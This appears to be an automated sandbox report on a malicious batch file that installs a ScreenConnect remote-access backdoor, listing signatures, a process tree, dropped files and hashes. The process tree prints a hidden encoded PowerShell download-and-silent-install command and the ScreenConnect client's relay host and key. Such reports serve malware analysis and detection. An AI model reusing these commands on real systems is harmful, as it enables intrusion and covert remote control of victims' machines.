Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/09/2026, 12:26

General

  • Target
    irocladgroup.bat
  • Size 1KB
  • Sample260925-pmbffa11es
  • SHA256 26c673b777f50291f5d6620e96abfc20c0b8cbbecdbddb74223dea4ddcc67107
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\irocladgroup.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3652
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -w h -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBBAHAAcABEAGEAdABhAFwASQByAG8AYwBsAGEAZABjAG8AbgBzAHQAcgB1AGMAdABpAG8AbgBnAHIAbwB1AHAALgBtAHMAaQAiACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBJAHIAbwBjAGwAYQBkADAANwA1AC8ASQByAG8AYwBsAGEAZABnAHIAbwB1AHAALwByAGEAdwAvAC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBJAHIAbwBjAGwAYQBkAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAGcAcgBvAHUAcAAuAG0AcwBpACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABtAHMAaQBlAHgAZQBjAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAvAGkAIgAsACIAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAXABJAHIAbwBjAGwAYQBkAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAGcAcgBvAHUAcAAuAG0AcwBpACIALAAiAC8AcQB1AGkAZQB0ACIALAAiAC8AbgBvAHIAZQBzAHQAYQByAHQAIgAgAC0AVwBhAGkAdAA=
        2⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4404
        • C:\Windows\system32\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Roaming\Irocladconstructiongroup.msi /quiet /norestart
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5672
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4252
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D83B7AE62EBC06F058358F6A8690CE9E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI5C01.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737531 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5776
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 359718C10B4799FDC1626FF93BC74901 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1840
    • C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=evitattendinvit.help&p=8041&s=4d34ffd4-7e79-4320-9588-162ab098e8cc&k=BgIAAACkAABSU0ExAAgAAAEAAQABqux8ExnX6OTbVf3Yy4GU8Mgslc7h2AQstABBvTTaxll6suF%2b7epVL8YbiaBtrMvDJt1mRZOE%2fXzcYAwMsXmO7SjuGW8Pf1bffXPEh1Xm2PLsEgwV3geLJx4iNxbsjosZat20xmRh8mzQuA1A5qCTbx932B8H6XenkOkw5uJ9cyF6tr5E3Queyrsegj8Rx%2fDq2smJieLngua978GDl9IMZestME4IO1yw8PApSoiIDB2XYn4ZVUEWNqK5TO8N9O6iM03HrGgkc9KZxfrn1MYpId%2bxmOiFVUj6ajkMvTzUOf0sySCWONXJXoxvFj6UYO6TmHp3vJUbhJ9OFXo506HW"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsClient.exe" "RunRole" "17b04245-343a-44c5-9d88-bb122948079a" "User"
        2⤵
        • Executes dropped EXE
        PID:5732
      • C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsClient.exe" "RunRole" "7ae4d7d7-26d1-4c57-9ed4-631c6546a1e4" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5280

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e595954.rbs

          • Path C:\Config.Msi\e595954.rbs
          • Size 214KB
          • SHA256 40d66cad58cdb60ea9fb045f5c7a508570d1881b8ec1bb99144176de8b1836fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 6127e8e52d60cfc31280672d716078e92b74e6a27f14c50c62fbcd4dff862b22
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\Client.Override.resources
          • Size 392B
          • SHA256 fedac3e9d721bbc8d6fe3ae86cfb76f113f2749ed6a23677b4b51283312d4850
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\app.config
          • Size 1KB
          • SHA256 85bceaee62b87d2945bfe35b7d0a3931e44b209f9709d91521dfb1201634b9cd
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b9ce62b23651a180)\system.config
          • Size 934B
          • SHA256 bc9c8f9d9b9af7d889b4261f7968ab9dfa4b29b3e55a333ff6a18eec1035a86a
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_nouogtud.2pk.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nouogtud.2pk.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Irocladconstructiongroup.msi

          • Path C:\Users\Admin\AppData\Roaming\Irocladconstructiongroup.msi
          • Size 12.8MB
          • SHA256 7d71742a0d418a3e7f66b61d418c82bedcdc200384ebff22077ef1500ac7ad0c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI5C01.tmp

          • Path C:\Windows\Installer\MSI5C01.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI5C01.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI5C01.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI5C01.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI5C01.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI65A8.tmp

          • Path C:\Windows\Installer\MSI65A8.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1796-119-0x00000000049F0000-0x0000000004AC5000-memory.dmp

          memory/1796-89-0x0000000004120000-0x0000000004138000-memory.dmp

          memory/1796-102-0x00000000044D0000-0x0000000004520000-memory.dmp

          memory/1796-109-0x0000000004520000-0x0000000004556000-memory.dmp

          memory/1796-115-0x0000000004810000-0x00000000048A2000-memory.dmp

          memory/1796-117-0x0000000004490000-0x00000000044D1000-memory.dmp

          memory/4404-1-0x0000018C26010000-0x0000018C26032000-memory.dmp

          memory/4404-0-0x0000018C25FD0000-0x0000018C25FE0000-memory.dmp

          memory/4404-9-0x0000018C25FD0000-0x0000018C25FE0000-memory.dmp

          memory/4404-10-0x0000018C25FD0000-0x0000018C25FE0000-memory.dmp

          memory/4404-11-0x0000018C25FD0000-0x0000018C25FE0000-memory.dmp

          memory/4404-12-0x0000018C25FD0000-0x0000018C25FE0000-memory.dmp

          memory/5732-135-0x000000001BBA0000-0x000000001BC2C000-memory.dmp

          memory/5732-134-0x0000000002D80000-0x0000000002DB6000-memory.dmp

          memory/5732-133-0x0000000000C30000-0x0000000000CC8000-memory.dmp

          memory/5732-136-0x000000001BDE0000-0x000000001BF8C000-memory.dmp

          memory/5732-137-0x000000001BF90000-0x000000001C116000-memory.dmp

          memory/5732-138-0x0000000001470000-0x0000000001488000-memory.dmp

          memory/5732-139-0x0000000002DC0000-0x0000000002DD8000-memory.dmp

          memory/5732-140-0x0000000002DE0000-0x0000000002E21000-memory.dmp

          memory/5776-49-0x0000000005B10000-0x00000000060B4000-memory.dmp

          memory/5776-44-0x0000000005170000-0x00000000051FC000-memory.dmp

          memory/5776-40-0x00000000050D0000-0x00000000050DA000-memory.dmp

          memory/5776-36-0x0000000002D40000-0x0000000002D6E000-memory.dmp

          memory/5776-48-0x00000000053B0000-0x000000000555C000-memory.dmp